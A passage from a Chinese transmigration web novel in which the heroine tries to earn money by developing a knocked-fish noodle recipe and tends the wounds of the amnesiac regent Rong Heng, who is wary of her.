穆今羽手悬空举着,见荣姮久久没有把东西拿过去,还晃了两下手臂。 荣姮脑子转得慢,先是被穆今羽晃动手臂的动作吓到,整个人都贴在了院门上,有些惊慌。 后两人僵持几息,荣姮才慢慢反应过来,穆今羽不是想伤害她。 她试探性地伸出手,在快要碰到穆金羽手心时,还猛地朝回缩一下,生怕穆今羽把她抓住。 又过了一会儿,荣姮才终于拿走穆今羽手上的东西,翻来覆去地看着。 见她终于把东西拿过去,穆今羽甩甩自己的手臂,转身走进屋子。 想在古代生活下去,光靠说说是没用的,她得想办法赚银子。 原主家里是做生意的,按道理说应该不会很穷才对。 但倒霉就倒霉在,原主两位母亲是出门进货的,所以她们把大量的银子都带在了身上。 变故一出,家中便没了存银。 原主也曾在家中翻箱倒柜的找过,倒是找到了七八两碎银子,不过原主经历的打击太大,根本没想到要把银子存下来。 这里花销那里花销,到穆今羽手中,也就只剩那三两块碎银。 穆今羽不信邪,自己走到屋中,又是一番翻箱倒柜。 她甚至把衣柜下的缝隙、梳妆台下垫着的木头都给翻了一遍。 还有床下。 原主两位母亲在床底挖了能塞下一个人的坑,平日里就把大头的银子和一些生意上贵重的物品,放在坑中。 坑上盖木板、撒泥土,压实,根本没人能发现她们床下还有那么一个地方。 只是这个地方穆今羽也翻过了,一点银子的影都看不见。 无法,穆今羽坐在床上,抬手擦擦自己脑门上的汗。心中没有失望,全是即将靠自己赚钱的气势勃勃。 没有任何困难能打倒她。 在她独自生活的那段日子里,因为服务员是最好找到工作的,所以她在很多家餐馆里打过工。 倒是会一些做菜的技术。 只是在古代卖吃食能赚钱吗? 她能完美做出想要做的吃食吗? 穆今羽不是个光说不动的人,既然要靠卖吃食赚银子,那她就得去了解这个世界有什么吃食?没有什么吃食?以及各种东西物价几何?怎么卖的? 她急匆匆从屋子里走出,只是看了一眼蹲在墙边的荣姮,确认对方没出什么意外。 就出了门。 穆今羽刚走,荣姮就站起身,来到院门处,抬手拉了拉。 她记得对方就是这样拉开门,然后走出去的。 只是在荣姮手中,这扇门吱嘎响了两声,并没有打开。 荣姮脑袋歪了一下,有些想不懂,这门为何和穆今羽的门不一样? 她又试了几下,确认真的不一样后,又开始看起穆今羽递给自己的东西。 正正方方的油纸中包裹着一团黑色的、用药草揉制而成的伤药。敷在伤口上能止血镇痛,活血化瘀,很是好用。 □□姮不知道这是个什么东西,她把东西递到嘴边。 好像不难闻。 随即伸出舌尖舔了一口。 削尖玉白的脸蛋猛地皱在一起!舌尖伸在外面都不敢收回! 难吃! - 穆今羽再次来到早食街。 现在临近午时,早食街已经不像之前那样热闹了,好些摊子的老板都坐在板凳上休息着,准备再过一会儿就收摊回家。 家中没有伤员在等着,穆今羽就逛的随意很多,在飘香味儿里穿梭。 晃晃悠悠从街头走到街尾,竖起耳朵,听着老板们的吆喝,以及食客们的闲聊。 还时不时走上前去,自然的同其他人搭话。 不多一会儿,她就把整条街中,每家摊子是卖什么的、在这里卖了几年、一份吃食要花多少银子,都打听清楚了。 还额外听了一耳朵的八卦。 从早食街出来,穆今羽又去了几家米店、杂货店、干货店……了解物价。 楼许县所处的地方,一面平原三面环山,西高东低。还有好几条河流贯穿,四通八达,往来许多商贩,很是热闹。 原主的两位母亲,在夜市街是卖炸小鱼的。 在楼许县这个拥有好几条河流的地方卖炸小鱼,优势是得天独厚的。 每条河流中的小鱼口感不一,原主两位母亲尝遍各种小鱼,选出最好吃的一种,再裹上由北方地区拉来的面粉做成的面糊。 放在金黄油锅里滋啦一炸!那咸香酥脆的味道堪称一绝! 在楼许县美食中也是排的上号的! 不过前几年北方那边遭了洪涝,种的麦子全被洪水冲跑,短时间内也种不出新的麦子。 所以今年开年,原主的两位母亲就明显感觉市面上有面粉的商铺数量在减少,面粉价钱攀升。 要说面粉只是涨点价,也不影响原主两位母亲做生意。 可随着时间推移,她们二人居然买不到从北方来的面粉了。 她们也尝试过用其他地方的面粉来做小炸小鱼,但一味食材变化,就影响了整个炸小鱼的口感。 两位母亲精益求精,根本没办法接受。 便赶着家中的驴车,亲自到其他县里去进货,这才遭遇不测。 穆今羽思索一番,觉得既然原主的母亲们有人脉,那她继续做鱼的生意也未尝不可。 只是如果她继续做炸小鱼的生意,势必只能用差一点的面粉。 这样一来,炸小鱼的招牌极有可能会被她毁了不说,这种做法也是极为不尊重原主母亲们的。 她得换一种生意。 一想到鱼,穆今羽脑海中就浮现出一道有关鱼的美食——敲鱼面 敲鱼面是独属于沿海地区的食物,当清晨的阳光洒在大地上时,海上渔民们的渔船就停在了渔港中。 他们一把捕捞上来的鮸鱼倒入木盆里,四周等待着的百姓们就蜂拥而上。 鮸鱼是一种身形修长、扁平,鱼鳍灰黑,腹部银白的食肉海鱼,肉质极其鲜美。 属鲈形目石首鱼科鮸属。 在繁殖时,它们会发出呜呜或哼哼声,似乎在为海洋谱写美丽的乐章。 把鮸鱼买回家,去其鳞骨,刮下鱼肉。 再往案板上撒上一层雪白的红薯粉,鱼肉放上去,裹上红薯粉,用纤细的竹棍不断往鱼肉上敲击。 细密的红薯粉被敲入鱼肉纤维之中,两者紧密结合,既有了鱼肉鲜甜之味,又有了红薯粉筋道的口感。 随着竹棍不断敲打,鱼肉渐渐舒展开来,成为片状。 待到鱼肉被敲打得薄如蝉翼,便把这鱼肉面片放在炭火之上烘烤,锁住其口感。 烘烤后,把鱼面片切成条,放入锅中煮熟,加上一点酱汁或脆嫩时蔬。 便是远近闻名的敲鱼面了。 那弹牙的鱼面在口中搅动,鲜香跳跃于舌尖,每一口都是对味蕾的极致犒劳。 一想到自己要做敲鱼面,穆今羽就口齿生津,忍不住吞咽好几次口水。 敲鱼面口味极为鲜甜,她打工之时天天早晨都吃,根本吃不腻。 可楼许县这个地方没有鮸鱼,只有各种各样的江鱼,红薯粉她也没办法用顶好的。 估计这样做出来的敲鱼面,味道会变。 不过只要不难吃,那这种新鲜美食肯定能赚到银子。 说干就干! 本来准备打道回府的穆今羽,又转身折返回米面店,去询问红薯粉的价格。 不问不知道,一问她便被开了眼界。 原来这个世界早就流行起一种叫做多宝红薯的红薯。 此红薯心子金黄,口感甜糯,个头大不说价钱还便宜。 几乎成了家家户户必不可少的主食。 而且据说边关上河村萧家,早就实现了多宝红薯的量产,甚至还可以运送至大蓉国全国各地。 根本不怕没得吃。 穆今羽听得一愣一愣的,感叹世界上还是奇人多。 她买了三两多宝红薯粉,一条小鱼,以及两个多宝红薯,这才朝回走。 街上行人往来皆是古衣束发,刚开始,穆今羽还能控制住自己的眼神别乱瞟。 可渐渐,她就被周围人的打扮吸引住。 一会儿看着这人身上带着的金银珠宝,一会儿又看着那人身上背着的华丽布包。 可以看出,这些东西做工都相当精致,还蕴含了许多奇思妙想,是她那个世界都不曾见过的。 偶尔和一些女生对视上,穆今羽毫不吝啬自己的笑容,眼神亮晶晶的,笑容很甜。 只是女生们不怎么理她。 回到夜市街,打开锁上的院门。 第一眼没有看见荣姮在哪里,穆今羽心中立马发慌,进入院子的步伐都变快起来。 直至在屋子里的床上看见熟睡的荣姮,这才放下心来。 挺好,睡着了就好。 她动作轻柔下来,为荣姮掩上门,就来到灶台旁,准备做敲鱼面。 在做之前,她把灶台上所有东西都擦拭干净。 院子里的落叶全部扫在一起,当做柴火放入灶口中燃烧。 许久没用的菜刀都有些钝了,家中没有磨刀器,穆今羽拿着刀在陶瓷碗底刮了两下,刀锋便锋利起来。 她手脚麻利地把小鲫鱼鳞片刮掉。 片肉之时,脑海里面思索一番步骤,便不带犹豫的把鱼肉和鱼刺分开。 动作娴熟,没出一丝差错。 红薯粉均匀撒在案板上。 这红薯粉应当是过筛的次数不够,颜色有些灰白,其中还有呈块状的红薯粉。 她拿着碗,把成块状的红薯粉碾碎、碾细。 鱼肉置于其上,裹满细粉。 准备找东西敲打之时,穆今羽才发现家中没有竹竿。 这难不倒她。 她来到院中的柿子树下,踩着凳子往柿子树上爬。幸好这柿子树不算高,穆今羽扒拉着树干分叉的地方,掰断一根粗细适中的树枝。 拿在手中挥了两下,风声呼啸,可以听出这树枝极为有韧劲儿。 从树上下来,穆今羽感叹自己身体还算麻利。 她带着刚因爬树而嘭嘭直跳的心,擦洗干净树枝,开始敲打起鱼肉。 这个步骤很是繁琐,需要不少时间。 穆今羽站在原地敲了一会儿,便觉得这样不行,很累人。她又把凳子搬到灶台旁,坐着敲。 整个过程持续有一刻钟左右,鱼肉和红薯粉终于融合在一起。 她把薄片拎起来对准阳光,阳光透过灰白薄片落在灶台上,堪称晶莹剔透。 穆今羽高兴地笑起来,把薄片放于早就被烧得滚烫的锅中。 不一会儿,薄片被烤得干爽,鱼肉的鲜香味儿缓缓溢出。 她把薄片捞出,往锅中加上水,继续烧着。 软软的薄片用菜刀切成条状,等待锅中的水烧开后,下入面条。 临到头了,穆今羽想起家里是不是没有调料? 她拍拍自己的脑袋,开始在灶台上翻找起来。 各种调料罐子倒还在,但里面的东西却用不得了。 甚至那盐罐子里的盐都发霉了! 她还是头一次见盐发霉嘞! 穆今羽瞪大眼睛,仔细瞧着盐上面的霉菌。琥珀色眸子极为明亮,像蜜糖一般。 花了几息的功夫思考发霉的盐能不能吃,穆今羽最终还是决定全部扔掉。 没有调料,便只能将就吃白味儿的面。 当大量白色蒸汽扑面而来,水咕嘟咕嘟翻滚之时,敲鱼面煮好! 捞出锅时。 屋里睡着的荣姮鼻尖耸动,立马醒了过来。 5、第 5 章 穆今羽把敲鱼面装出,熄灭灶中的火,拿着红薯塞到灶里后,才用筷子夹起一根面,只呼呼吹几下,便迫不及待放入口中。 入口并没有想象中那么好吃。 鱼腥味有些重,红薯粉的量好像也不够,面没有那么筋道,反倒是鱼肉的纤维感有些多。 算是做失败了。 沉默半晌,她又夹起一根面,打算再尝一下之时,掩着的屋门被拉开,荣姮的脑袋从门缝间探出。 眼神精准锁定坐在灶台旁的穆今羽。 她还有点怕她,眼神和她接触上时,整个人瑟缩几分,又躲回门后。 穆今羽看见荣姮醒了,手上的动作也没有停,继续把面条塞入自己口中。 这根面条又是不一样的口感。 鱼肉的纤维感变少,反倒是红薯粉的味道有些重。虽然口感也香甜,但终归少了肉味,和普通的面没有区别。 两根面的口感差别如此之大,许是她在敲鱼面的时候,没有把红薯粉和鱼肉敲均匀、敲融合。 她算是知道“会”和“精通”有什么区别了。 原来只要一不小心,就会做的不好吃 她只是会做敲鱼面,但手法依旧比不上那些精通敲鱼面,靠着敲鱼面养家糊口之人。 还得再练。 不过多宝红薯粉的口感确实不错,用来做敲鱼面也很合适,但鱼肉不行,不能用普通的鲫鱼,她得去挑选味道更好的鱼。 如此想着,穆今羽打算把碗中的鱼面全部吃完,就午休。 午休后,再多买点红薯粉回来。 至于鱼,现在已经是正午,鱼早就不新鲜了,得第二天清晨早早去肉市里挑选才行。 荣姮在门后躲了一会儿,发现穆今羽并没有来抓自己,才又小心翼翼地探出头,继续看着对方。 她见对方正端着碗,挑出一根白白的东西,放入嘴中。 她已经知晓,对方这个动作是可以让发痛的肚子变得暖和,虚弱的身子变得有力的动作。 是好的。 荣姮从门后走出,一会儿躲在倒扣的背篓后,一会儿躲在深色大水缸后,一会儿又躲在水井后。 警惕且缓慢地朝着穆今羽靠近。 鬼鬼祟祟的。 穆今羽当然知道荣姮在靠近。 对方根本就不会躲,每次都有半截儿白色的衣裳耷拉在地,显眼得很。 准备吃面的动作停顿下来,琥珀色眸子微微朝荣姮的方向偏移。 只见穿着脏污白衣的荣姮躲在了灶台后,同她只有一步之隔。 对方双手扒拉住灶台边缘,慢慢探出脑袋,眼神就没从她手中端着碗上挪开过。 不得不说,荣姮是好看的。 乌黑秀丽的长发即便是散乱地披在身后,也丝毫不影响她的美貌。 双眼中墨色很浓郁,直勾勾看着某样东西时,有些不像凡世间的人,而像飘渺界中的妖。 右眼眼下靠近眼头的地方有一颗红痣,靠近眼尾的地方又有另一颗,像两滴血似的。 诡谲奇异。 最开始穆今羽怀疑荣姮会不会在装失忆,就是因为她这双眼睛。即便瞪得微圆,看起来也不单纯。 只不过接触下来后,发现荣姮还真是失忆失的彻底,脑袋里面只能进行单向思考,装不了太多东西。 比如说现在,荣姮又忘记原主曾经伤害过她的事,甚至还靠那么近,想要抢她手里的碗。 穆今羽瞪了荣姮一眼。 把手中的碗放在灶台上,单根手指抵着碗壁,缓慢推到荣姮面前。 随着碗的逐渐靠近,荣姮双眼朝内收,聚焦成对眼后,又有些晕乎乎地晃了两下脑袋。 身形不稳,摔坐在地上。 看见这一幕,穆今羽眼皮抬高,身体朝前,没想到荣姮会把自己弄摔倒。 她站起身,想去扶荣姮起来。 却发现对方干脆就地坐下,飞速捧着碗拿起筷子挑面吃。 穆今羽动作顿在原地,双臂撑住灶台边缘,倾身。 又多看了荣姮几眼。 说实话,她买的红薯粉又少,鱼也小,做出来的敲鱼面总共也没有几根。 本来她也没打算做太多,只是想着先做来试试,看自己手法有没有问题。 现在,那么几根敲鱼面分成两个人吃,当然是不够的。 而且她还有些担忧自己做的不好,会被嫌弃。 只见荣姮用筷子扒拉了两下,碗中的面便消失不见,吃得干干净净。 她又扒拉了两下,脸上露出疑惑的表情,想不明白为何之前这样肚子能吃得饱饱的,而现在她的肚子中却并没有感觉。 “你觉得这面怎么样?味道奇怪吗?”穆今羽迫不及待问出自己关心的问题。 如果可以的话,穆今羽并不想和荣姮搭话。 她现在对荣姮的情感有些怪异。 一方面知道这人恢复记忆后,决定着自己的生死,那自己现在就应该讨好对方。 一方面她又不想那么快的原谅这个差点掐死自己的人。 最关键的是她知道荣姮没错,她知道是原主动手在先,荣姮也只是反击。 所以即便她不想原谅荣姮,也怪不到荣姮身上。 即便她不想对荣姮太好,但又不忍心晾着对方。 孽缘,简直是孽缘。 穆今羽问完话后等了几息,却见荣姮只是仰着头,睁大眼睛看自己,并不回话。 怎么了?难道是太难吃?难吃的已经说不出话了? 还是说对方还对自己抱有戒备?根本不想同自己说话? 思来想去,穆今羽又道:“你可是把面吃完了的,不准觉得难吃。” “是不是还没吃饱?” “我知道你没吃饱,再等一会儿。等红薯烤好就可以吃了。” “但不准觉得我做的面难吃。” 荣姮脑袋歪歪,眼中出现疑惑,听不懂她在说什么。 穆今羽从灶台后走出,边靠近荣姮边说道:“红薯你知道是什么吗?就是一种食物,烤着吃非常好吃,又甜又软。剥掉皮后,内里的芯子是金黄流蜜的。” 她想去把坐在地上的荣姮扶起来,但荣姮看见她想要靠近自己,整个人又炸了毛。 凶狠地瞪她一眼,转身躲到水井后面去了。 穆今羽脚步顿住,那么明显的被人讨厌,弄得她有些尴尬。脚在地上磨蹭了两下后,小声嘀嘀咕咕道:“只有在吃饭的时候想起我。” 荣姮跑了,她只好转身回到灶台后,坐在板凳上,拿着火钳去戳灶里的柴火。 戳出星星点点火光来。 一时之间整个院内静悄悄的,偶有柴火爆开的声音。 灶膛内,红薯躺在炭火之上,灼热的温度渐渐让它内里发生变化,原本生涩的红薯变得柔软起来,表皮裂开,从中能窥见一丝浅金色。 香味从其中溢出,悠悠地飘呀飘,像无形中有条丝线,在人们的鼻尖勾缠、萦绕。 穆今羽又拿火钳戳了一下灶膛里的柴火,红薯的香味便愈发浓郁,就快烤好了。 坐在水井后的荣姮闻到这味道,肚子咕咕叫几声,又悄无声息回到灶台旁。 等待着穆今羽给她吃东西。 穆今羽看她这动作,突然间有些不清楚荣姮到底是失忆了,还是变傻了? 怎么呆呆的? 有东西就来、有东西就来,自己要是真想伤害他,那不是简简单单? 用钳子把灶里面的红薯夹出来时,穆今羽动作轻柔,怕一不小心就把红薯给夹烂了。 “等会儿再吃,现在太烫了。”她夹着一个红薯,放在荣姮面前,叮嘱道。 只是荣姮兴许没有把她的话听进心里,还是伸手碰了一下被烤得焦黑的红薯。 被烫的咻一下缩回手不说,还凶狠的瞪了红薯一眼。 那模样,怕是觉得红薯也是坏人。 穆今羽转开脑袋,用手挡住自己的下半张脸,偷笑。 觉得荣姮好像也不是那么吓人了。 红薯的香味太过于诱人,穆今羽自己也没有等多久,便忍不住拿起滚烫的红薯,在手中颠来颠去地剥着皮。 好不容易剥掉一半的皮,她就把手中的红薯递给了荣姮,转而拿起荣姮那个红薯接着剥。 荣姮当然不客气,捧着红薯狠狠咬了一口! 瞬间,嘴里被塞满香甜软糯,仿佛糕点般的红薯,惹的她双眼都亮了起来,尤为惊喜。 甚至都来不及咀嚼,囫囵吞下口中的红薯,着急忙慌地咬下一口。 这红薯太甜了,让她忘记了身上的伤痛,只觉得很舒适。 穆今羽被她的狼吞虎咽感染,自己也迫不及待地咬了一口手中的红薯! 那美妙的味道,着实让她也惊艳了一把,感叹世间怎么会有多宝红薯这么物美价廉又好吃的食物? 两人旋风般吃着,不一会儿就结束了战斗。 肚子再次被填饱,两人都心满意足。 吃完东西,穆今羽拍拍手中的灰,对荣姮道:“你自己一个人玩会儿,我睡个觉。” 反正院门也是锁上的,她不担心荣姮会逃跑。 走进屋子,把床上的被褥和被子整理规整后,脱掉外衣就躺了上去。 她感觉自己累极了。 熬夜学习许久不说,又突然被换到另一个地方,经历生死,忙活一大圈,喘口气的功夫都没有。 堪称精神和□□的双重折磨。 再不休息,恐怕能再猝死一遍。 沾到枕头,穆今羽立马失去意识,昏睡过去。 睡眠质量极佳! 而院中的荣姮,脑袋朝屋子的方向看了许久,没看见穆今羽出来,她的身子便慢慢放松下来,开始在灶台上好奇地摸来摸去。 一会儿按着碗的边缘,让碗壁贴在灶台上,叮零当啷地玩着。一会儿又拿起个调料罐,摇晃里面的东西,把发霉的盐都给倒出来了。 她把灶台上摆放的东西全都摸了个遍后,又坐到板凳上,有样学样地拿着火钳,开始戳灶膛里的柴火。 烧焦的柴火连同黑灰被一起翻出来,荣姮手在黑灰里胡乱摸着,似乎在找还有没有红薯 - 棉花似的软云慢慢飘走,太阳变了位置,天色渐渐暗下。 穆今羽这一觉睡得有些久,直至天空泛灰,连绵云朵被照成橙红色。 她才缓缓睁开眼,睡得通红的脸颊在柔软的枕头上蹭了两下。双眼还有些迷蒙,不禁抬手挡住窗外最后的余晖。 又磨蹭了好一会儿,穆今羽才起床,伸着懒腰走到院子中。 还别说,金灿灿的院子,枝桠茂盛的柿子树,青瓦铺成的房屋。 每一分每一寸都蕴含着独特的韵味,让人不自觉放松,沉浸在这古色古香的环境中。 这放到现代,是许多人梦寐以求的归隐田园般的生活。 只是放到穆今羽身上…… 她视线同站在水井边,扯着绳子玩的荣姮对视上, 刚才的闲适被打破,穆今羽脚步顿住,嘴巴张大,目瞪口呆。 只见荣姮那一身白衣全变成黑色,脸上更是黑乎乎的,看不清楚模样。 不知道的还以为她去挖煤了! “别站在井旁,当心掉下去。” “你这是干什么了?怎么成这样了?” 知道荣姮不会回答自己,穆今羽自顾自说道:“把自己搞成这副模样,是打算天黑之后让我看不见?” “也就是你自己不知道自己是什么样了,要不然你能被自己吓一跳。” “我出去买点东西,回来给你洗一下脸。” 穆今羽边絮叨,边朝院门的方向走去。 荣姮站的方向正好和她要去的方向差不多,见她靠近荣姮立马躲到一旁,偷摸看她。 穆今羽匆匆出门,买了好几个多宝红薯,又去买了皂角。路过柴火店,还顺便搬了一捆柴火回家。 家中没有柴火,干枯落叶也全部用完,只能买柴火来用。 生活在城里或县里就是这点不方便,没办法像村子里的人那样,去山上打柴,而是只有买他们运到城里的柴。 挺费银子的。 回到家中,穆今羽直接起锅烧水,打算用这水让荣姮清洗一下。 等待水烧开的途中,她让荣姮坐在凳子上,哪儿也别去,生怕荣姮帮起倒忙。 而自己则再次打扫起院子来,把院子里的垃圾、灰尘全部扫在一起。 把石桌擦得锃亮,又把上面的茶壶、茶杯,以及各种锅碗瓢盆全部洗了一遍。 还有灶台上被打翻的盐,清理起来真是怪恶心的。 几间屋子里的东西也没放过,该擦的擦,该洗的洗。不一会儿,院子中就晾了许多东西。 穆今羽又翻出一套原主坤泽母亲的旧衣,准备待会儿拿给荣姮换上。 水烧开又放温热后,穆今羽把帕子搭在盆边,让荣姮自己端着盆子进杂物房去擦洗。 但荣姮根本就听不懂,还以为穆今羽递给她的是吃的,差点端着盆子干了一大口。 “哎哎哎你干嘛?”穆今羽伸手想把荣姮拦下。 哪想荣姮以为她是要打她,双手把盆子一放,转身就跑! 木盆咚一声砸在地上,水花飞溅,温热的水顺着土地朝四周流去,直至裹上脏污变成泥浆。 接连被荣姮避瘟神一样避了几次,换做其余人,心中估计会感到郁闷、不耐烦。 但穆今羽心中却奇异的平静。 她能理解荣姮对自己的不信任,戒备些也好,至少不会受伤害。 况且这点儿小麻烦对她来说根本不算什么,这地是土地,不一会儿水就会渗下去,也不用她收拾什么。 穆今羽把落在地上的帕子捡起放入盆中,打了一盆新的水,冲荣姮问道:“你自己会清洗吗?” 荣姮没有回答,身形又朝后退两步,离穆今羽更远。 看她这副样子,就知道她是不会的。穆今羽便把帕子放在水中,揉搓几遍后,一边拧干一边说道:“你现在有点脏兮兮的,必须擦干净,只有擦干净才能睡觉。” “你知道你现在是什么样子吗?脸是黑的,身上也是黑的,完全看不出人样了。” “你这副样子要是让别人看见,别人会大叫,啊!鬼呀!” 穆今羽故意说的缓慢,声音还故意变得唬人,就是要留出时间给荣姮思考的。 看着荣姮定在原地,脸上逐渐露迟疑的表情。 她拿着拧干的帕子,一个箭步流星冲到荣姮面前,直接把人给抓住了! 正在思考的荣姮反应慢,直至穆今羽拿着帕子都开始擦她的手了,她才反应过来要挣扎,开始用手臂去推桑穆今羽。 “别动别动。”穆今羽接连说了好几声,一手死死箍住荣姮的手臂,另一只手拿着帕子疯狂擦她的手心。 不一会儿,整张帕子被擦得漆黑,她又换了一面继续擦荣姮的手背。 只是擦着擦着,她就发现荣姮身上的伤口竟然没有上药! 小手臂上被刀割开的伤口,皮肉往外翻卷,原本鲜红的肉此时变得有些发黑,隐隐有腐烂的迹象。 那伤口太吓人了,只一眼就让穆今羽心惊肉跳,难以想象荣姮在承受怎样的痛苦。 “你没有上药!?”她眼神中闪过一丝不忍,语气急促又生气。 只是话问出口,穆今羽就反应过来,荣姮恐怕根本就不懂上药是什么意思。 “你!你!”她一连你了好几声,想说点什么,又被自己压回去,最后却道:“还是我不对,应该对你上心些的。” 既然决定要留下荣姮,既然决定要让荣姮不杀她,她就应该对荣姮好些才是 她至少应该亲力亲为的。 穆今羽把荣姮放开,任由荣姮跑到柿子树下,躲藏在树后。 而她自己则回到水盆旁,把帕子搓洗干净,拿出大夫给的伤药,朝荣姮冲过去。 躲在树后的荣姮被吓得尖叫一声,从柿子树另一边窜出,绕着院子躲避。 她全身是伤,腿上也有,根本跑不过穆今羽,才跑出去两步就被追上。 只是荣姮力气倒是挺大的,抬手连推带打之间,直接把穆今羽干到地上去了。 穆今羽眼疾手快,拉住荣姮一起倒在地上,自己还充当肉垫的同时,把荣姮禁锢住,用绳子捆住她的双腿,让她动弹不得。 终于把人捆住,穆今羽长舒一口气。撩起对方的衣袖,有些不忍看那手臂上触目惊心的伤痕。 她脑袋朝一旁偏开,深呼吸好几下,一边让自己保持冷静,一边暗自嘀咕自己恐怕要被荣姮记恨得更深了。 做好准备,穆今羽强迫自己的头扭回来,仔细为荣姮擦拭没有伤口的地方。 脏污、血污一并被擦拭掉,手臂上的伤口更加清晰可见,并且因刚才激烈的反抗,而在渗血。 想来荣姮身上其余伤口也是如此。 穆今羽把她的小手臂勉强擦干净后,拿出大夫给的伤药往伤口上涂。 那些刀伤有深有浅,浅的已经有愈合的迹象,深的却在腐烂。 但不管深浅,只要触碰到药膏,荣姮都会痛得发抖,全身冒出冷汗,眼神恶狠狠瞪着穆今羽。 她恨死眼前这个乾元了。 明明她都开始觉得眼前这个乾元,没有那么坏了,可这个乾元居然又伤害她。让她那么痛。 荣姮感觉自己被欺骗,没有被抓住的那只手臂奋力挥舞,朝面前的乾元打去。 那乾元没有躲,只是把身体侧了一下,让她的攻击落在背上。 啪! 声音震天响。 荣姮打的当然疼了,穆今羽倒吸一口凉气,飞速把荣姮小手臂上的伤口全部上好药。 这才把人放开,弹射般远离她,在远处不断动着自己的背,疼的差点跳一段霹雳舞。 穆今羽觉得荣姮那手劲儿,自己背上肯定得肿起好几个巴掌印儿! 但她没放弃,端着水盆荣姮身旁,洗干净帕子,把荣姮的衣袖往上撩了撩,给人擦拭着上臂。 这里的伤口更为严重,今日早晨才裂开过,肉朝两边翻卷开,中间似乎能看见森森白骨。 有些骇人。 穆今羽小心翼翼把上面的血污给擦拭干净,再厚厚糊上一帖药,心中祈祷着荣姮会快快好起来。 她沉默地替荣姮上药,即便有巴掌落在她身上,她也只是轻轻闷哼,动作不曾停顿。 而荣姮落下的巴掌也有轻有重。 轻的时候,是被穆今羽上药的动作疼到根本用不上力,重的时候是因为刚才的疼而报复。 可渐渐的,荣姮抬手的动作变得迟疑、变得有些下不去手。 她有些想不明白了,眼前的乾元确实在伤害她,让她变得很痛。 可又似乎在让她变得干净? 似乎是在帮她? 荣姮逐渐停止挣扎,老老实实躺在地上,尽管伤口很疼,她也没有动一下。 没有她的阻挡,穆今羽的动作更加利索起来。 很快,两条手臂都被上好药,她又去撩荣姮的裙子,想要给荣姮腿上的伤口上药。 荣姮略微挣扎,差点没踹她,但好在忍了下来。 腿上的伤口不是刀伤,更像是摔倒或击打出来的。尤其是小腿肚上,有紫到发黑的一大片淤青,看起来像是被木棍打出来的。 穆今羽甚至怀疑,荣姮的骨头会不会被打骨裂了? 看来给荣姮下毒的人,真的恨不得荣姮去死。 “唉。” 穆今羽的眼眶有些发烫,她开始后悔自己没有把这本看完,否则她就能知道到底是谁要对荣姮痛下杀手了。 把荣姮全身上下所有伤口都上完药,她叹口气,盘腿坐在荣姮身旁,感觉自己累的手臂都抬不起。 但还没有完,只休息了几息,她把变得乌黑的水倒掉,又接了一盆新的,再次洗干净帕子,开始轻柔地为荣姮擦着脸。 脸上没有伤口,荣姮当然不觉得疼,只觉得暖洋洋的,很是舒服。 原先那种厚重的、闷闷的感觉也消失不见,唯余清爽。 这下荣姮终于确认,眼前这个乾元不是在伤害自己,而是在帮自己了。 自己打了帮助自己的人吗? 明白这一点的荣姮,大脑再次空白,只余下心中有些苦涩的味道。 穆今羽帮她擦干净脸,帕子一扔,双臂撑着地面,呈现一个半仰躺的姿势放松下来。 有气无力道:“你自己会换衣服吗?这个我可帮不了你。” 对方身上的白衣实在是太脏了,不换不行。 话说荣姮之前是摄政王,她穿的衣服会不会金贵许多?能卖钱吗? 穆今羽伸手用手指捻起荣姮一片衣角,细细摩挲着,感受那衣服的触感。 好像布料是要柔顺丝滑些,针脚细密,和她身上穿的粗布麻衣大不相同。 而且仔细看去,这白衣上好像有暗纹,平日里不显山不露水,要凑近看才看得出。 真是低调又奢华。 穆今羽不禁感叹摄政王的财力,同时想到,此种衣物在市面上恐怕不常见,即便真的很贵,她也不可能拿出去卖。 否则,被想要杀荣姮的人看见,那她们俩不都得有血光之灾? 况且这衣服已经脏了,估计洗也洗不干净,卖也卖不掉吧。 放下这个念头,她又同荣姮交代了好几遍什么是换衣服,为什么要换衣服,该怎么样换衣服。 确认荣姮大概听懂了后,这才领着人到杂物房,让人进去自己换。 荣姮站在杂物房门口,抱着一堆衣物,眼神一瞬不瞬地看着穆今羽。 天边夕阳努力发挥着它最后一丝余温,把整片大地都映照的鲜红。 也把荣姮眼中映照的鲜红。 两人对视着,那眼神是什么意思,穆今羽不知道。 她只是无端的觉得荣姮眼下两颗红痣,变成了两滴摇摇欲坠的泪。 有些可怜。 怎么了呢?露出这种表情。 穆今羽脸上扬起一抹笑,抬手拍了拍荣姮手背,“去吧,别在意,我没事的。” 听到她说这句话,荣姮这才幡然觉得心中的苦涩消散许多,轻飘飘的身体也落到了实地。 她走进杂物房中。 磕磕绊绊地把自己身上的衣物脱下,过程间还很是小心,不希望自己身上涂着的东西被蹭掉。 换好衣服后,穆今羽让荣姮坐在石桌旁老实休息,而自己则把红薯烤上当做晚食。 顺便趁着天还未黑,开始清洗起荣姮换下的那身白衣。 白衣确实已经洗不干净了,即便穆今羽再怎么努力,上面也还是残留着黑色、红色的污渍。 她没有强求,直接把衣服晾起来,打算干了后替荣姮保存好,等恢复记忆的荣姮自己处理。 大大小小的事情忙完,又同荣姮一起吃过晚食,穆今羽把人安排到自己屋子里睡,而自己则去两位母亲的屋子中睡觉。 分开之前,她还千叮咛万嘱咐,让荣姮切勿压到伤口。 - 下半夜,几颗星子挂在漆黑夜空之上。 院外的夜市街渐渐安静下来,家禽们挤在一起,脑袋塞到翅膀下沉沉睡着。 大黄狗趴在门边,眼睛是闭着的,但耳朵还直挺挺立着,尾巴时不时甩动几下,发挥着自己看家护院的本领。 躺在穆今羽床上的荣姮脑袋晃动几下,双手紧紧握成拳,身体微微颤抖。 怎么都睡不舒服。 四周萦绕着腐朽的梧桐树味儿,虽然很淡,可总让她无法忽视。 是乾元的性香味。 是乾元难闻的性香味。 荣姮猛地睁开双眼,从黑泥一般的梦境中挣脱出来,大口大口喘着气。 她浑身冰凉,额间起了一层细密的汗。 她受不了这种味道,手用力掀开被子,下了床。 穆今羽躺在床上睡得很香甜,呼吸都比白日里要沉许多。 呼—— 呼—— 呼呼—— …… 熟睡中的穆今羽突然顿了一下,眉微微皱起,感觉有哪里不对。 呼呼—— 呼呼—— 怎么有两道呼吸声! 穆今羽被吓醒,惊恐睁眼,与站在床边的荣姮对视上! 6、第 6 章 恍惚间,穆今羽甚至还以为荣姮已经恢复记忆,故意站在自己床边,散乱着乌黑的长发,双眼发着绿光,准备把自己大卸八块,拆吞入腹。 她血液倒流,呼吸停滞,躺在床上一动不敢动。 屋外院中,微风拂的柿子树树叶沙沙作响,偶有几声虫鸣鸟叫响起,在黑夜中显得那么悠扬。 一切本来该闲适又美好。 可穆今羽只觉得屋内阴冷无比,她仿佛来到地狱,左右两边都有阴差压着,而荣姮就是那索命阎王。 